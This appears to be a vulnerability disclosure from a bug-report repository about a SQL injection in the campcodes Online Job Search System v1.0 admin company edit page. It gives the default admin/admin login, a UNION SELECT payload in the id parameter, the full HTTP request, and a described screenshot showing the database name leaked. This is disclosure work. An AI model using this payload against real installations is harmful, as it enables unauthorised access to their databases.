

main

...

bug\_report / vendors / campcodes.com / online-job-search-system / SQLi-2.md



debug601 Update SQLi-2.md

History

1 contributor

31 lines (21 sloc) | 1.19 KB

...

# Complete Online Job Search System v1.0 has SQL injection

BUG\_Author: 朝阳

The password for the backend login account is: admin/admin

vendors: <https://www.campcodes.com/projects/php/online-job-search-system-using-php-mysql-free-download/>

Vulnerability File: /eris/admin/company/index.php?view=edit&id=

Vulnerability location: /eris/admin/company/index.php?view=edit&id=id

Current database name: erisdb

[+] Payload: /eris/admin/company/index.php?

view=edit&id=-3%27%20union%20select%201,database(),3,4,5,6--+ // Leak place ---> id

```
GET /eris/admin/company/index.php?view=edit&id=-3%27%20union%20select%201,database()  
Host: 192.168.1.19  
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=mho0fs26310tis816v3lqpu6q4

Connection: close

The screenshot displays a web browser window with a dark sidebar and a main content area. The sidebar contains a menu with items: Dashboard, Company, Vacancy, Employee, Applicants (with a blue badge showing '0'), Category, and Manage Users. The main content area is titled 'Company' and features a form titled 'Add New Company'. The form has three input fields: 'Company Name' (containing 'erisdb'), 'Company Address' (containing '3'), and 'Company Contact No.' (containing '4'). A blue 'Save' button is located at the bottom of the form.

The raw HTTP request and response are visible in the top panel. The request is a GET request to the URL `http://192.168.1.19/eris/admin/company/index.php?view=edit&id=-3' union select 1,database(),3,4,5,6--+ HTTP/1.1`. The response is an HTML document with a status of 200. The raw HTML response is shown in the middle panel, with the injected payload `union select 1,database(),3,4,5,6--+` highlighted in orange.

The bottom panel shows the web application interface. The URL bar displays the injected payload. The application interface includes a sidebar with a menu and a main content area with a form titled 'Add New Company'. The form has three input fields: 'Company Name' (containing 'erisdb'), 'Company Address' (containing '3'), and 'Company Contact No.' (containing '4'). A blue 'Save' button is located at the bottom of the form.